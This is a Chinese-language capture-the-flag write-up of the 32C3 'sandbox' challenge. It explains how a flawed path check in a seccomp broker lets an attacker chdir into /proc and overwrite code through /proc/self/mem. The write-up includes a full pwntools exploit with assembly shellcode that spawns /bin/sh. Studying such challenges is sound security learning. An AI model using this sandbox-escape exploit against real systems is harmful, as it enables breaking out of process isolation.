Tags: /proc/self/mem,seccomp,shellcode
前言
做 seccomp 相关题目遇到的一个题目, 利用方式很有意思, 第一次见: 通过 修改 /proc/self/mem 可以修改不可写的代码段. 第一次见, 记录一下.
题目分析
逻辑有点复杂, 我可能表述的也不是太清楚, 仅供参考, 最好还是自己逆一下.
这个题目通过 fork 和 clone 整出了三个进程, 我们以 parent, sec, unsec 来表示它们.
进程之间是通过 管道和 mmap 的内存进行通信的
- pipe 了三个 管道. 因为 pipe 会优先使用最小的 fd, 所以pipe 得到的fd 是可以预测的. 三个进程间使用的管道的 fd 的情况如下图:
-
mmap 了两块内存, 用 mmap1 mmap2 表示它们
- mmap1 的权限是 rwx,
- mmap2 在 sec 和 unsec 中是 只读的, 在 parent 中是 rwx的
- mmap2 和 mmap1 相邻 且 mmap2 在 mmap1 低地址处.
pwndbg> vmmap
...
0x7ffff7ff6000 0x7ffff7ff7000 r-xp 1000 0 // mmap2
0x7ffff7ff7000 0x7ffff7ff8000 rwxp 1000 0 // mmap1
...
然后分析三个进程各自的工作流程
-
unsec
首先设置 seccomp 为 strict 模式, 只能执行 read(2), write(2), _exit(2) 这三个系统调用
然后读取并执行 shellcode, shellcode 的长度没有限制.
虽然通过shellcode 只能执行 read, write, exit 三个系统调用, 但是可以通过 parent 和 sec 执行其它的一些系统调用:
- 将系统调用号和参数放到 mmap1 中, 然后 通过管道往 parent 端写一个字节 (发送 "信号")
- 使用 sys_read 阻塞在 sec 和 unsec 的管道的read end, 等待 sec 执行完 syscall 发 "信号" 过来
- syscall 的返回值 存在 全局变量中
-
parent
阻塞在 read(3, buf, 1) 这个系统调用, 等待 unsec 发来"信号". read返回之后会 从 mmap1 读取系统调用的参数等信息. parent 有一个白名单 (0x0401800), 遇到不在其中的系统调用会直接退出程序. open 和 chdir 虽然在白名单中, 但是 parent 还会校验他们的参数(0x0400D30): 路径中不能包含dev, proc, sys.
如果通过了校验就会把 mmap1 中的参数 复制到 mmap2 中, 然后通过管道往 sec 写一个字节
-
sec
sec 是完全由汇编编写的. 任务就是执行 syscall
阻塞在 read(3, buf, 1) 这个系统调用, 等待 parent 的 "信号", read 返回之后
- 会从 mmap2 读取系统调用的参数, 然后执行系统调用,
- 将系统调用的返回结果写到 一个全局变量中
- 通过管道往 unsec 发送一个 "信号"
程序提供了一个 供 unsec 进行系统调用的函数,可以在 shellcode 中使用
__int64 __fastcall unsec_do_syscall(int a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7)
{
__int64 v7; // rax
int parent; // edi
__int64 result; // rax
char v10; // [rsp+0h] [rbp-18h]
v7 = g_mmap1_rwx;
*(_QWORD *)(g_mmap1_rwx + 0x10) = a3;
*(_DWORD *)v7 = a1;
parent = unsec_to_parent;
*(_QWORD *)(v7 + 8) = a2;
*(_QWORD *)(v7 + 0x18) = a4;
*(_QWORD *)(v7 + 0x30) = a7;
*(_QWORD *)(v7 + 0x20) = a5;
*(_QWORD *)(v7 + 0x28) = a6;
v10 = 0;
if ( write(parent, &v10, 1uLL) != 1 )
{
write(2, "unable to request syscall\n", 0x1AuLL);
_exit(1);
}
if ( read(unsec_from_sec, &v10, 1uLL) != 1 )
{
write(2, "unable to wait for syscall completion\n", 0x26uLL);
_exit(1);
}
if ( v10 )
_exit(1);
result = syscall_result;
g_offset = 0LL;
return result;
}
漏洞分析
漏洞在校验 chdir 和 open 的参数的函数中
signed __int64 __fastcall open_chdir_cb(struct syscall_regs *a1)
{
struct syscall_regs *v1; // rbx
char *_path; // rax
char *v3; // rdx
signed __int64 v4; // rdi
char v5; // cl
char v7[4104]; // [rsp+0h] [rbp-1028h]
unsigned __int64 v8; // [rsp+1008h] [rbp-20h]
v1 = a1;
v8 = __readfsqword(0x28u);
_path = (char *)a1->_rdi;
if ( (unsigned __int64)_path < g_mmap1_rwx )
return 0LL;
v3 = (char *)(g_mmap1_rwx + 0x1000);
if ( (unsigned __int64)_path >= g_mmap1_rwx + 0x1000 )
return 0LL;
v7[0] = *_path;
if ( v7[0] ) // copy to stack
{
v4 = v7 - _path;
while ( v3 != ++_path )
{
v5 = *_path;
_path[v4] = *_path;
if ( !v5 )
goto LABEL_7;
}
return 0LL;
}
LABEL_7:
if ( strstr(v7, "dev") )
return 0LL;
if ( strstr(v7, "proc") || strstr(v7, "sys") )
return 0LL;
strcpy((char *)g_mmap2_child_ro + 0x38, v7); // overflow
v1->_rdi = (unsigned __int64)g_mmap2_child_ro + 0x38;
return 1LL;
}
可以看到一个明显的溢出点. 我们甚至不需要溢出.
假设我们进行如下操作
- 构造一个 chdir 系统调用, rdi 指向 mmap1+0x30, 并将mmap1+0x30 至 mmap1+0x1000-8 中填充满字符 "/", mmap1+0x1000-8 至 mmap1 + 0x1000 填充字符 "\x00"
- 然后 通过管道往 parent 发送 "信号". 显然我们可以通过校验, parent 会将参数复制到 mmap2 中, rdi 指向 mmap2 + 0x38, mmap2+0x38 至 mmap2+0x1000 之间都会填满 "/", 然后parent 会往 sec 发送 "信号" 让 sec 执行 syscall
- 我们如果可以在 sec 执行 syscall 之前将 mmap1 地址处的字符串 修改为 proc\x00, 因为 mmap2 和 mmap1 是相邻的, 所以sec中就会执行 chdir("////////.......//////proc") 我们就可以 cd 到 /proc
- 然后我们就可以通过修改 /proc/self/mem 来修改 代码段为 shellcode了.
而且我们甚至也不需要使用条件竞争.
我们通过 pipe 新生成一个管道, 并使用 dup2 把 parent to sec 的管道 read end 给覆盖掉. (这两个系统调用都在白名单中) 我们就可以在 unsec 中给 sec 发送系统调用来随时让 sec 执行系统调用了.
思路有了, 那就写 exp 呗
写 exp 过程中免不了调试的...... 这种多进程+多线程调试还是有些麻烦的.
首先 attach 是不行的, attach的话只能调试 parent 这个进程. 所以得直接用 gdb启动, 不能用 process
io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400BE0")
io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)
线程之间切换倒是很方便, 直接用 thread 命令就行了.
exp
汇编写的头秃.......
#coding:utf-8
from pwn import *
context(arch = 'amd64', os = 'linux', endian = 'little')
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
# sc = open("./sc.asm", "r").read()
sc = """#define unsec_do_syscall 0x04010C0
#define bss 0x603000
#define fds 0x603200
#define g_buf 0x00603128
#define unsec_to_parent_w 4
#define unsec_to_sec_w 6
#define parent_to_sec_r_dup 233
#define sec_to_unsec_r 7
#define mmap1 0x603158
jmp start
get_addr:
call get_addr2
get_addr2:
mov rax, [rsp]
sub rsp, 0x10
jmp get_addr_ret
shellcode:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop;nop
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
mov rsp, 0x603800
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push 'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
start:
/* dup fd parent_to_sec_readend, so parent's write to pipe won't fail */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, 5
mov rdx, parent_to_sec_r_dup
call r13
/* init a new pipe to be used by unsec to sec */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 22 /* sys_pipe */
mov rsi, fds
call r13
/* fds = {3, 6} */
/* dup new fd to old parent_to_sec_readend (5), then we can control sec to do syscall */
call clear_regs
mov r13, unsec_do_syscall
mov rdi, 33 /* dup2 */
mov rsi, fds
mov esi, [rsi] /* new fd read end */
mov rdx, 5 /* old parent_to_sec_readend fd */
call r13
/* chdir to /proc */
/* fill mmap1 with '/' first */
mov rax, 0x2f2f2f2f2f2f2f2f
/* # define mmap1 0x603158 */
mov rdi, mmap1
mov rdi, [rdi]
mov rcx, (4096/8)
rep stosq
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi + 0x1000-8]
mov qword ptr [rdi], 0 /* terminat with \x00 vali vali important !!!*/
/* now signal parent to copy args */
call clear_regs
mov eax, 80 /* sys_chdir */
mov rdi, mmap1
mov rdi, [rdi]
lea rdi, [rdi+0x30]
mov r9, 0x2f2f2f2f2f2f2f2f
call new_do_syscall_p1
/* append tail and signal sec thread to do syscall */
mov r11, [mmap1]
mov qword ptr [r11], 0x636f7270 /* \x00\x00\x00\x00proc */
call new_do_syscall_p2
/*rax = 0 should means that now we are in /proc */
/* open(file='self/mem', oflag=2, mode=0) */
/* push 'self/mem\x00' */
mov rdi, [mmap1]
mov rsi, 0x6d656d2f666c6573
mov [rdi+0x38], rsi
xor rsi, rsi
mov [rdi+0x40], rsi
lea rdi, [rdi+0x38]
xor edx, edx /* 0 */
mov rsi, 2 /* O_RDWR */
/* call open() */
mov rax, 2 /* SYS_open */
call new_do_syscall
#define fd_of_proc_self_mem_addr bss + 0x400
mov rdi, fd_of_proc_self_mem_addr
mov [rdi], rax
#define sec_block_read 0x0000000000401637
/* lseek(fd='rax', offset=sec_block_read, whence='SEEK_SET') */
mov rdi, rax
mov esi, sec_block_read
xor edx, edx /* SEEK_SET */
/* call lseek() */
mov rax, 8 /* SYS_lseek */
call new_do_syscall
/* get shellcode addr */
call get_addr
get_addr_ret: /*0x7ffff7ff5180 */
/* now rax is get_addr2's addr */
add rax, 0x10 /*0x7ffff7ff5185 */
mov rdi, fd_of_proc_self_mem_addr
mov rdi, [rdi]
mov rsi, rax
mov rdx, 0x80
mov rax, 1
call new_do_syscall
/* after pipe() and dup(), we are unable to use unsec_do_syscall function,
so we neeed to implement our own do syscall funtion */
#define syscall_result_addr 0x603138
new_do_syscall:
call new_do_syscall_p1
call new_do_syscall_p2
ret
/* 1. put args to mmap1
2. signal parent to copy args
3. wait parent's copy done */
new_do_syscall_p1:
/* mov args to mmap1 */
mov r11, mmap1
mov r11, [r11]
mov [r11], rax
mov [r11+8], rdi
mov [r11+0x10], rsi
mov [r11+0x18], rdx
mov [r11+0x20], r10
mov [r11+0x28], r8
mov [r11+0x30], r9
/* use pip to signal parent */
mov rdi, unsec_to_parent_w
mov rsi, g_buf /* buf, readable */
mov rdx, 1 /* n */
mov eax, 1 /* write */
syscall
/* then parent should copy args to mmap2m, we should wait the signal on the dup fd*/
mov rdi, parent_to_sec_r_dup
mov rsi, g_buf
mov rdx, 1
mov eax, 0 /* sys_read */
syscall
ret
/* 1. signal sec thread to do syscall
2. wait sec thread syscall done
3. mov syscall result to rax and return */
new_do_syscall_p2:
/* then we need to use pipe to signal thread_sec to do syscall */
mov rdi, unsec_to_sec_w
mov rsi, g_buf /* buf, readable */
mov rdx, 1 /* n */
mov eax, 1 /* write */
syscall
/* then wait on the pipe. sec will signal unsec when syscall is done */
mov rdi, sec_to_unsec_r
mov rsi, g_buf
mov rdx, 1
mov eax, 0 /* sys_read */
syscall
/* afterall, mov syscall result to rax */
mov rax, [syscall_result_addr]
ret
clear_regs:
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
xor rcx, rcx
xor r8, r8
xor r9, r9
ret
"""
# io = gdb.debug(args=["./sandbox"], gdbscript="set follow-fork-mode child\nb *0x400c2d\nb *0x400D30")
io = process("./sandbox")
io.sendafter(" end with 8x NOP ", asm(sc)+"\x90"*8)
io.interactive()
总结
竟然还有通过写 /proc/self/mem 来修改代码段的这种骚操作. 第一次见, 学习了.
Appendix A : 参考
[1] http://tukan.farm/2016/01/13/32C3-CTF-sandbox-writeup/
[2] https://www.cnblogs.com/xuxm2007/archive/2011/04/01/2002162.html
[3] https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/sandbox-300